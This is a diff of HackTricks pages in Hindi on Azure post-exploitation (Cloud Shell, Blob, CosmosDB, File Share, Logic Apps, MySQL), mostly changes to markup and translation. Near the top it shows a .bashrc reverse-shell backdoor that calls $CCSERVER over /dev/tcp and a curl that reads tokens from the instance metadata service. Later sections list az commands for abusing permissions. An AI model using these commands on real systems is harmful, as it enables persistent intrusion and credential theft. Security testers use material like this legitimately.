होम डायरेक्टरी एक Azure फ़ाइल शेयर पर माउंट की गई है और सत्र समाप्त होने के बाद भी बरकरार रहती है। * **Startup Scripts**: .bashrc जैसे फ़ाइलें प्रत्येक सत्र की शुरुआत में स्वचालित रूप से निष्पादित होती हैं, जिससे क्लाउड शेल शुरू होने पर स्थायी निष्पादन की अनुमति मिलती है। Example backdoor in .bashrc: - -{% code overflow="wrap" %} ```bash echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc ``` -{% endcode %} - यह बैकडोर उपयोगकर्ता द्वारा क्लाउड शेल समाप्त होने के 5 मिनट बाद भी कमांड निष्पादित कर सकता है। इसके अतिरिक्त, उदाहरण विवरण और टोकन के लिए Azure की मेटाडेटा सेवा को क्वेरी करें: -{% code overflow="wrap" %} ```bash curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -s ``` -{% endcode %} - - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md index 026928624..b0448f57e 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md @@ -10,9 +10,9 @@ ../az-services/az-storage.md {{#endref}} -### Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read +### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read` -इस अनुमति के साथ एक प्रिंसिपल कंटेनर के अंदर **सूचिबद्ध** करने में सक्षम होगा और **डाउनलोड** करने में सक्षम होगा जो **संवेदनशील जानकारी** हो सकती है। +इस अनुमति के साथ एक प्रिंसिपल कंटेनर के अंदर के ब्लॉब्स (फाइलों) को **सूचीबद्ध** करने और **डाउनलोड** करने में सक्षम होगा, जो **संवेदनशील जानकारी** हो सकती है। ```bash # e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read az storage blob list \ @@ -24,9 +24,9 @@ az storage blob download \ --container-name \ -n file.txt --auth-mode login ``` -### Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write +### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write` -इस अनुमति के साथ एक प्रमुख **कंटेनरों में फ़ाइलें लिखने और ओवरराइट करने** में सक्षम होगा, जो उसे कुछ नुकसान पहुँचाने या यहाँ तक कि विशेषाधिकार बढ़ाने की अनुमति दे सकता है (जैसे, एक ब्लॉब में संग्रहीत कुछ कोड को ओवरराइट करना): +इस अनुमति के साथ एक प्रिंसिपल **कंटेनरों में फ़ाइलें लिखने और ओवरराइट करने** में सक्षम होगा, जो उसे कुछ नुकसान पहुंचाने या यहां तक कि विशेषाधिकार बढ़ाने की अनुमति दे सकता है (जैसे, एक ब्लॉब में संग्रहीत कुछ कोड को ओवरराइट करना): ```bash # e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write az storage blob upload \ diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md index 2665f33c6..c1671ab4b 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md @@ -1,31 +1,25 @@ -# Az - CosmosDB पोस्ट एक्सप्लोइटेशन +# Az - CosmosDB Post Exploitation {{#include ../../../banners/hacktricks-training.md}} -## CosmosDB पोस्ट एक्सप्लोइटेशन -SQL डेटाबेस के बारे में अधिक जानकारी के लिए देखें: +## CosmosDB Post Exploitation +SQL Database के बारे में अधिक जानकारी के लिए देखें: -{% content-ref url="../az-services/az-cosmosDB.md" %} -[az-cosmosDB.md](../az-services/az-cosmosDB.md) -{% endcontent-ref %} +{{#ref}} +../az-services/az-cosmosDB.md +{{#endref}} -### "Microsoft.DocumentDB/databaseAccounts/read" && "Microsoft.DocumentDB/databaseAccounts/write" +### `Microsoft.DocumentDB/databaseAccounts/read` && `Microsoft.DocumentDB/databaseAccounts/write` इस अनुमति के साथ, आप Azure Cosmos DB खातों को बना या अपडेट कर सकते हैं। इसमें खाता-स्तरीय सेटिंग्स को संशोधित करना, क्षेत्रों को जोड़ना या हटाना, स्थिरता स्तरों को बदलना, और मल्टी-क्षेत्र लेखन जैसी सुविधाओं को सक्षम या अक्षम करना शामिल है। - -{% code overflow="wrap" %} ```bash az cosmosdb update \ --name \ --resource-group \ --public-network-access ENABLED ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/read" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/write" +### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/read` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/write` इस अनुमति के साथ, आप Azure Cosmos DB खाते के SQL डेटाबेस के भीतर कंटेनर (संग्रह) बना या संशोधित कर सकते हैं। कंटेनर डेटा संग्रहीत करने के लिए उपयोग किए जाते हैं, और उनमें किए गए परिवर्तन डेटाबेस की संरचना और पहुंच पैटर्न को प्रभावित कर सकते हैं। - -{% code overflow="wrap" %} ```bash # Create az cosmosdb sql container create \ @@ -43,25 +37,17 @@ az cosmosdb sql container update \ --name \ --ttl 3600 ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/read" +### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/read` इस अनुमति के साथ, आप Azure Cosmos DB खाते के भीतर SQL डेटाबेस बना या संशोधित कर सकते हैं। यह डेटाबेस संरचना को प्रबंधित करने और खाते में नए डेटाबेस जोड़ने की अनुमति देता है। जबकि यह अनुमति डेटाबेस निर्माण को सक्षम बनाती है, अनुचित या अनधिकृत उपयोग अनावश्यक संसाधन खपत, बढ़ी हुई लागत, या परिचालन अक्षमताओं का परिणाम हो सकता है। - -{% code overflow="wrap" %} ```bash az cosmosdb sql database create \ --account-name \ --resource-group \ --name ``` -{% endcode %} +### `Microsoft.DocumentDB/databaseAccounts/failoverPriorityChange/action` -### "Microsoft.DocumentDB/databaseAccounts/failoverPriorityChange/action" - -इस अनुमति के साथ, आप Azure Cosmos DB डेटाबेस खाते के लिए क्षेत्रों की फेलओवर प्राथमिकता बदल सकते हैं। यह क्रिया निर्धारित करती है कि फेलओवर घटना के दौरान क्षेत्र प्राथमिक कैसे बनते हैं। इस अनुमति का अनुचित उपयोग डेटाबेस की उच्च उपलब्धता को बाधित कर सकता है या अनपेक्षित संचालनात्मक प्रभावों का कारण बन सकता है। - -{% code overflow="wrap" %} +इस अनुमति के साथ, आप Azure Cosmos DB डेटाबेस खाते के लिए क्षेत्रों की फेलओवर प्राथमिकता बदल सकते हैं। यह क्रिया निर्धारित करती है कि फेलओवर घटना के दौरान क्षेत्रों का प्राथमिकता क्रम क्या होगा। इस अनुमति का अनुचित उपयोग डेटाबेस की उच्च उपलब्धता को बाधित कर सकता है या अनपेक्षित संचालनात्मक प्रभावों का कारण बन सकता है। ```bash az cosmosdb failover-priority-change \ --name \ @@ -69,12 +55,8 @@ az cosmosdb failover-priority-change \ --failover-policies ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/regenerateKey/action" +### `Microsoft.DocumentDB/databaseAccounts/regenerateKey/action` इस अनुमति के साथ, आप Azure Cosmos DB खाते के प्राथमिक या द्वितीयक कुंजियों को पुनः उत्पन्न कर सकते हैं। इसका उपयोग आमतौर पर सुरक्षा को बढ़ाने के लिए पुराने कुंजियों को बदलने के लिए किया जाता है, लेकिन यह उन सेवाओं या अनुप्रयोगों के लिए पहुंच को बाधित कर सकता है जो वर्तमान कुंजियों पर निर्भर करते हैं। - -{% code overflow="wrap" %} ```bash az cosmosdb keys regenerate \ --name \ @@ -82,13 +64,9 @@ az cosmosdb keys regenerate \ --key-kind ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/read" +### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/read` इस अनुमति के साथ, आप Azure Cosmos DB खाते में SQL डेटाबेस के एक कंटेनर के भीतर ट्रिगर्स बना या संशोधित कर सकते हैं। ट्रिगर्स आपको संचालन के जवाब में सर्वर-साइड लॉजिक निष्पादित करने की अनुमति देते हैं। - -{% code overflow="wrap" %} ```bash az cosmosdb sql trigger create \ --account-name \ @@ -100,12 +78,8 @@ az cosmosdb sql trigger create \ --type Pre \ --operation All ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/read" +### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/read` इस अनुमति के साथ, आप Azure Cosmos DB खाते में SQL डेटाबेस के एक कंटेनर के भीतर स्टोर किए गए प्रक्रियाओं को बना या संशोधित कर सकते हैं। Cosmos DB में स्टोर की गई प्रक्रियाएँ सर्वर-साइड जावास्क्रिप्ट फ़ंक्शन हैं जो आपको डेटा को संसाधित करने या सीधे डेटाबेस के भीतर संचालन करने के लिए लॉजिक को संलग्न करने की अनुमति देती हैं। - -{% code overflow="wrap" %} ```bash az cosmosdb sql stored-procedure create \ --account-name \ @@ -115,12 +89,8 @@ az cosmosdb sql stored-procedure create \ --name \ --body 'function sample() { return "Hello, Cosmos!"; }' ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/read" +### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/read` इस अनुमति के साथ, आप Azure Cosmos DB खाते में SQL डेटाबेस के एक कंटेनर के भीतर ट्रिगर्स बना या संशोधित कर सकते हैं। ट्रिगर्स आपको सम्मिलन, अद्यतन, या हटाने जैसी क्रियाओं के जवाब में सर्वर-साइड लॉजिक निष्पादित करने की अनुमति देते हैं। - -{% code overflow="wrap" %} ```bash az cosmosdb sql trigger create \ --account-name \ @@ -132,12 +102,8 @@ az cosmosdb sql trigger create \ --type Pre \ --operation All ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/read" && "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/write" +### `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/read` && `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/write` इस अनुमति के साथ, आप Azure Cosmos DB खाते में MongoDB डेटाबेस के भीतर संग्रह बना या संशोधित कर सकते हैं। संग्रह दस्तावेज़ों को संग्रहीत करने और डेटा के लिए संरचना और विभाजन को परिभाषित करने के लिए उपयोग किए जाते हैं। - -{% code overflow="wrap" %} ```bash az cosmosdb mongodb collection create \ --account-name \ @@ -145,24 +111,16 @@ az cosmosdb mongodb collection create \ --database-name \ --name ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/read" +### `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/read` इस अनुमति के साथ, आप Azure Cosmos DB खाते के भीतर नए MongoDB डेटाबेस बना सकते हैं। यह संग्रह और दस्तावेज़ों को स्टोर और प्रबंधित करने के लिए नए डेटाबेस को प्रोविजन करने की अनुमति देता है। - -{% code overflow="wrap" %} ```bash az cosmosdb mongodb database create \ --account-name \ --resource-group \ --name ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read" +### `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read` इस अनुमति के साथ, आप Azure Cosmos DB खाते के भीतर नए MongoDB भूमिका परिभाषाएँ बना सकते हैं। यह MongoDB उपयोगकर्ताओं के लिए विशिष्ट अनुमतियों के साथ कस्टम भूमिकाएँ परिभाषित करने की अनुमति देता है। - -{% code overflow="wrap" %} ```bash az cosmosdb mongodb role definition create \ --account-name \ @@ -188,11 +146,8 @@ az cosmosdb mongodb role definition create \ "Roles": [] }' ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read" -इस अनुमति के साथ, आप Azure Cosmos DB खाते के भीतर नए MongoDB उपयोगकर्ता परिभाषाएँ बना सकते हैं। यह MongoDB डेटाबेसों के लिए विशिष्ट भूमिकाओं और पहुँच स्तरों के साथ उपयोगकर्ताओं की प्रोविजनिंग की अनुमति देता है। -{% code overflow="wrap" %} +### `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read` +इस अनुमति के साथ, आप Azure Cosmos DB खाते के भीतर नए MongoDB उपयोगकर्ता परिभाषाएँ बना सकते हैं। यह MongoDB डेटाबेस के लिए विशिष्ट भूमिकाओं और पहुँच स्तरों के साथ उपयोगकर्ताओं की प्रोविजनिंग की अनुमति देता है। ```bash az cosmosdb mongodb user definition create \ --account-name \ @@ -212,6 +167,4 @@ az cosmosdb mongodb user definition create \ ] }' ``` -{% endcode %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md index e6d0e4dff..a0f818789 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md @@ -1,18 +1,18 @@ -# Az - फ़ाइल साझा पोस्ट शोषण +# Az - File Share Post Exploitation {{#include ../../../banners/hacktricks-training.md}} -फ़ाइल साझा पोस्ट शोषण +File Share Post Exploitation -फ़ाइल साझा के बारे में अधिक जानकारी के लिए देखें: +फाइल शेयर के बारे में अधिक जानकारी के लिए देखें: {{#ref}} ../az-services/az-file-shares.md {{#endref}} -### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/read +### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/read` -इस अनुमति के साथ एक प्रमुख फ़ाइल साझा के अंदर फ़ाइलों को **सूचीबद्ध** करने और **डाउनलोड** करने में सक्षम होगा, जो **संवेदनशील जानकारी** हो सकती हैं। +इस अनुमति के साथ एक प्रिंसिपल **सूची** बना सकेगा फाइल शेयर के अंदर की फाइलों की और **डाउनलोड** कर सकेगा फाइलें जो **संवेदनशील जानकारी** हो सकती हैं। ```bash # List files inside an azure file share az storage file list \ @@ -28,9 +28,9 @@ az storage file download \ --dest /path/to/down \ --auth-mode login --enable-file-backup-request-intent ``` -### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/write, Microsoft.Storage/storageAccounts/fileServices/writeFileBackupSemantics/action +### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/write`, `Microsoft.Storage/storageAccounts/fileServices/writeFileBackupSemantics/action` -इस अनुमति के साथ एक प्रमुख **फाइल शेयर में फ़ाइलों को लिखने और ओवरराइट करने** में सक्षम होगा, जो उसे कुछ नुकसान पहुंचाने या यहां तक कि विशेषाधिकार बढ़ाने की अनुमति दे सकता है (जैसे, फाइल शेयर में संग्रहीत कुछ कोड को ओवरराइट करना): +इस अनुमति के साथ एक प्रिंसिपल **फाइल शेयर में फ़ाइलों को लिखने और ओवरराइट करने** में सक्षम होगा, जो उसे कुछ नुकसान पहुंचाने या यहां तक कि विशेषाधिकार बढ़ाने की अनुमति दे सकता है (जैसे, फाइल शेयर में संग्रहीत कुछ कोड को ओवरराइट करना): ```bash az storage blob upload \ --account-name \ diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md index 3a3d93432..4fdc876ad 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md @@ -5,14 +5,12 @@ ## Logic Apps Database Post Exploitation Logic apps के बारे में अधिक जानकारी के लिए देखें: -{% content-ref url="../az-services/az-logic-apps.md" %} -[az-logic-apps.md](../az-services/az-logic-apps.md) -{% endcontent-ref %} +{{#ref}} +../az-services/az-logic-apps.md +{{#endref}} -### "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action" +### `Microsoft.Logic/workflows/read`, `Microsoft.Logic/workflows/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` इन अनुमतियों के साथ, आप Logic App वर्कफ़्लो को संशोधित कर सकते हैं और उनकी पहचान प्रबंधित कर सकते हैं। विशेष रूप से, आप वर्कफ़्लो के लिए सिस्टम-निर्धारित और उपयोगकर्ता-निर्धारित प्रबंधित पहचान को असाइन या हटा सकते हैं, जो Logic App को स्पष्ट क्रेडेंशियल के बिना अन्य Azure संसाधनों को प्रमाणित और एक्सेस करने की अनुमति देता है। - -{% code overflow="wrap" %} ```bash az logic workflow identity remove/assign \ --name \ @@ -20,49 +18,32 @@ az logic workflow identity remove/assign \ --system-assigned true \ --user-assigned "/subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/" ``` -{% endcode %} - -### "Microsoft.Web/sites/read", "Microsoft.Web/sites/write" +### `Microsoft.Web/sites/read`, `Microsoft.Web/sites/write` इन अनुमतियों के साथ, आप एक App Service Plan पर होस्ट किए गए Logic Apps को बना या अपडेट कर सकते हैं। इसमें HTTPS प्रवर्तन को सक्षम या अक्षम करने जैसी सेटिंग्स को संशोधित करना शामिल है। - -{% code overflow="wrap" %} ```bash az logicapp update \ --resource-group \ --name \ --set httpsOnly=false ``` -{% endcode %} - -### "Microsoft.Web/sites/stop/action", "Microsoft.Web/sites/start/action" || "Microsoft.Web/sites/restart/action" -इस अनुमति के साथ, आप एक वेब ऐप को शुरू/रोक/पुनः प्रारंभ कर सकते हैं, जिसमें एक ऐप सेवा योजना पर होस्ट किए गए लॉजिक ऐप शामिल हैं। यह क्रिया सुनिश्चित करती है कि एक पूर्व में रोका गया ऐप ऑनलाइन लाया जाए और इसकी कार्यक्षमता फिर से शुरू हो। यह कार्यप्रवाहों को बाधित कर सकता है, अनपेक्षित संचालन को ट्रिगर कर सकता है, या लॉजिक ऐप्स को अप्रत्याशित रूप से शुरू, रोकने या पुनः प्रारंभ करने के कारण डाउनटाइम का कारण बन सकता है। - -{% code overflow="wrap" %} +### `Microsoft.Web/sites/stop/action`, `Microsoft.Web/sites/start/action` || `Microsoft.Web/sites/restart/action` +इस अनुमति के साथ, आप एक वेब ऐप को शुरू/रोक/पुनः प्रारंभ कर सकते हैं, जिसमें App Service Plan पर होस्ट किए गए Logic Apps शामिल हैं। यह क्रिया सुनिश्चित करती है कि एक पूर्व में रोका गया ऐप ऑनलाइन लाया जाए और इसकी कार्यक्षमता फिर से शुरू हो। यह कार्यप्रवाहों को बाधित कर सकता है, अनपेक्षित संचालन को ट्रिगर कर सकता है, या Logic Apps को अप्रत्याशित रूप से शुरू, रोकने या पुनः प्रारंभ करने के कारण डाउनटाइम का कारण बन सकता है। ```bash az webapp start/stop/restart \ --name \ --resource-group ``` -{% endcode %} - - -### "Microsoft.Web/sites/config/list/action", "Microsoft.Web/sites/read" && "Microsoft.Web/sites/config/write" +### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/read` && `Microsoft.Web/sites/config/write` इस अनुमति के साथ, आप वेब ऐप्स के लिए सेटिंग्स को कॉन्फ़िगर या संशोधित कर सकते हैं, जिसमें App Service Plan पर होस्ट किए गए Logic Apps शामिल हैं। यह ऐप सेटिंग्स, कनेक्शन स्ट्रिंग्स, प्रमाणीकरण कॉन्फ़िगरेशन, और अधिक में परिवर्तन की अनुमति देता है। - -{% code overflow="wrap" %} ```bash az logicapp config appsettings set \ --name \ --resource-group \ --settings "=" ``` -{% endcode %} - -### "Microsoft.Logic/integrationAccounts/write" -इस अनुमति के साथ, आप Azure Logic Apps इंटीग्रेशन खातों को बना, अपडेट या हटा सकते हैं। इसमें इंटीग्रेशन खाता-स्तरीय कॉन्फ़िगरेशन जैसे मानचित्र, स्कीमा, भागीदार, समझौते, और अधिक का प्रबंधन करना शामिल है। - -{% code overflow="wrap" %} +### `Microsoft.Logic/integrationAccounts/write` +इस अनुमति के साथ, आप Azure Logic Apps इंटीग्रेशन खातों को बना, अपडेट या हटा सकते हैं। इसमें इंटीग्रेशन खाता-स्तरीय कॉन्फ़िगरेशन जैसे मानचित्र, स्कीमा, भागीदार, समझौते और अधिक का प्रबंधन करना शामिल है। ```bash az logic integration-account create \ --resource-group \ @@ -71,13 +52,9 @@ az logic integration-account create \ --sku \ --state Enabled ``` -{% endcode %} - -### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/batchConfigurations/write" +### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/batchConfigurations/write` इस अनुमति के साथ, आप Azure Logic Apps एकीकरण खाते के भीतर बैच कॉन्फ़िगरेशन बना या संशोधित कर सकते हैं। बैच कॉन्फ़िगरेशन यह परिभाषित करते हैं कि Logic Apps बैच प्रोसेसिंग के लिए आने वाले संदेशों को कैसे संसाधित और समूहित करते हैं। - -{% code overflow="wrap" %} ```bash az logic integration-account batch-configuration create \ --resource-group \ @@ -88,12 +65,8 @@ az logic integration-account batch-configuration create \ "batchSize": 1048576, }' ``` -{% endcode %} - -### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/maps/write" -इस अनुमति के साथ, आप Azure Logic Apps इंटीग्रेशन खाते के भीतर मानचित्र बना या संशोधित कर सकते हैं। मानचित्रों का उपयोग डेटा को एक प्रारूप से दूसरे प्रारूप में परिवर्तित करने के लिए किया जाता है, जिससे विभिन्न सिस्टम और अनुप्रयोगों के बीच निर्बाध एकीकरण संभव होता है। - -{% code overflow="wrap" %} +### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/maps/write` +इस अनुमति के साथ, आप Azure Logic Apps इंटीग्रेशन खाते के भीतर मानचित्र बना या संशोधित कर सकते हैं। मानचित्रों का उपयोग डेटा को एक प्रारूप से दूसरे प्रारूप में परिवर्तित करने के लिए किया जाता है, जो विभिन्न सिस्टम और अनुप्रयोगों के बीच निर्बाध एकीकरण को सक्षम बनाता है। ```bash az logic integration-account map create \ --resource-group \ @@ -103,12 +76,8 @@ az logic integration-account map create \ --content-type application/xml \ --map-content map-content.xslt ``` -{% endcode %} - -### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/partners/write" -इस अनुमति के साथ, आप Azure Logic Apps इंटीग्रेशन खाते में भागीदारों को बना या संशोधित कर सकते हैं। भागीदार उन संस्थाओं या प्रणालियों का प्रतिनिधित्व करते हैं जो व्यवसाय से व्यवसाय (B2B) कार्यप्रवाहों में भाग लेते हैं। - -{% code overflow="wrap" %} +### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/partners/write` +इस अनुमति के साथ, आप Azure Logic Apps इंटीग्रेशन खाते में भागीदारों को बना या संशोधित कर सकते हैं। भागीदार उन संस्थाओं या प्रणालियों का प्रतिनिधित्व करते हैं जो व्यवसाय-से-व्यवसाय (B2B) कार्यप्रवाहों में भाग लेते हैं। ```bash az logic integration-account partner create \ --resource-group \ @@ -126,12 +95,8 @@ az logic integration-account partner create \ } }' ``` -{% endcode %} - -### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/sessions/write" +### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/sessions/write` इस अनुमति के साथ, आप Azure Logic Apps इंटीग्रेशन खाते के भीतर सत्र बना या संशोधित कर सकते हैं। सत्र B2B वर्कफ़्लो में संदेशों को समूहित करने और एक निर्धारित अवधि के भीतर संबंधित लेनदेन को ट्रैक करने के लिए उपयोग किए जाते हैं। - -{% code overflow="wrap" %} ```bash az logic integration-account session create \ --resource-group \ @@ -147,8 +112,6 @@ az logic integration-account session create \ } }' ``` -{% endcode %} - ### "*/delete" इन अनुमतियों के साथ आप Azure Logic Apps से संबंधित संसाधनों को हटा सकते हैं diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md index 83f3d962a..142704bdd 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md @@ -1,58 +1,44 @@ -# Az - MySQL पोस्ट एक्सप्लॉइटेशन +# Az - MySQL Post Exploitation {{#include ../../../banners/hacktricks-training.md}} -## MySQL डेटाबेस पोस्ट एक्सप्लॉइटेशन -MySQL डेटाबेस के बारे में अधिक जानकारी के लिए देखें: +## MySQL Database Post Exploitation +MySQL Database के बारे में अधिक जानकारी के लिए देखें: -{% content-ref url="../az-services/az-mysql.md" %} -[az-mysql.md](../az-services/az-mysql.md) -{% endcontent-ref %} +{{#ref}} +../az-services/az-mysql.md +{{#endref}} -### "Microsoft.DBforMySQL/flexibleServers/databases/write" && "Microsoft.DBforMySQL/flexibleServers/databases/read" +### `Microsoft.DBforMySQL/flexibleServers/databases/write` && `Microsoft.DBforMySQL/flexibleServers/databases/read` -इस अनुमति के साथ, आप Azure पर MySQL फ्लेक्सिबल सर्वर इंस्टेंस के भीतर नए डेटाबेस बना सकते हैं। जबकि यह क्रिया स्वयं मौजूदा संसाधनों को संशोधित नहीं करती है, डेटाबेस का अत्यधिक या अनधिकृत निर्माण संसाधन खपत या सर्वर के संभावित दुरुपयोग का कारण बन सकता है। - -{% code overflow="wrap" %} +इस अनुमति के साथ, आप Azure पर MySQL Flexible Server इंस्टेंस के भीतर नए डेटाबेस बना सकते हैं। जबकि यह क्रिया स्वयं मौजूदा संसाधनों को संशोधित नहीं करती है, डेटाबेस का अत्यधिक या अनधिकृत निर्माण संसाधन खपत या सर्वर के संभावित दुरुपयोग का कारण बन सकता है। ```bash az mysql flexible-server db create \ --server-name \ --resource-group \ --database-name ``` -{% endcode %} - -### "Microsoft.DBforMySQL/flexibleServers/backups/write" +### `Microsoft.DBforMySQL/flexibleServers/backups/write` इस अनुमति के साथ, आप Azure पर MySQL Flexible Server इंस्टेंस के लिए बैकअप बनाने की प्रक्रिया शुरू कर सकते हैं। यह उपयोगकर्ताओं को ऑन-डिमांड बैकअप उत्पन्न करने की अनुमति देता है, जो विशिष्ट समय पर डेटा को संरक्षित करने के लिए उपयोगी हो सकता है। - -{% code overflow="wrap" %} ```bash az mysql flexible-server backup create \ --name \ --resource-group --backup-name ``` -{% endcode %} - -### "Microsoft.DBforMySQL/flexibleServers/advancedThreatProtectionSettings/write" +### `Microsoft.DBforMySQL/flexibleServers/advancedThreatProtectionSettings/write` इस अनुमति के साथ, आप Azure पर MySQL Flexible Server इंस्टेंस के लिए Advanced Threat Protection (ATP) सेटिंग्स को कॉन्फ़िगर या अपडेट कर सकते हैं। यह असामान्य गतिविधियों और संभावित खतरों का पता लगाने और प्रतिक्रिया देने के लिए डिज़ाइन की गई सुरक्षा सुविधाओं को सक्षम या अक्षम करने की अनुमति देता है। - -{% code overflow="wrap" %} ```bash az mysql flexible-server threat-protection-policy update \ --name \ --resource-group \ --state ``` -{% endcode %} - -### "Microsoft.DBforMySQL/flexibleServers/firewallRules/write" +### `Microsoft.DBforMySQL/flexibleServers/firewallRules/write` इस अनुमति के साथ, आप Azure पर MySQL Flexible Server उदाहरण के लिए फ़ायरवॉल नियम बना या संशोधित कर सकते हैं। यह नियंत्रित करता है कि कौन से IP पते या रेंज सर्वर तक पहुँच सकते हैं। इस अनुमति का अनधिकृत या अनुचित उपयोग सर्वर को अवांछित या दुर्भावनापूर्ण पहुँच के लिए उजागर कर सकता है। - -{% code overflow="wrap" %} ```bash # Create Rule az mysql flexible-server firewall-rule create \ @@ -70,71 +56,52 @@ az mysql flexible-server firewall-rule update \ --start-ip-address \ --end-ip-address ``` -{% endcode %} +### `Microsoft.DBforMySQL/flexibleServers/resetGtid/action` -### "Microsoft.DBforMySQL/flexibleServers/resetGtid/action" - -इस अनुमति के साथ, आप Azure पर MySQL Flexible Server इंस्टेंस के लिए GTID (Global Transaction Identifier) को रीसेट कर सकते हैं। GTID को रीसेट करने से सभी स्वचालित, ऑन-डिमांड बैकअप और जियो-बैकअप अमान्य हो जाएंगे जो रीसेट क्रिया से पहले लिए गए थे। GTID रीसेट के बाद, आप PITR 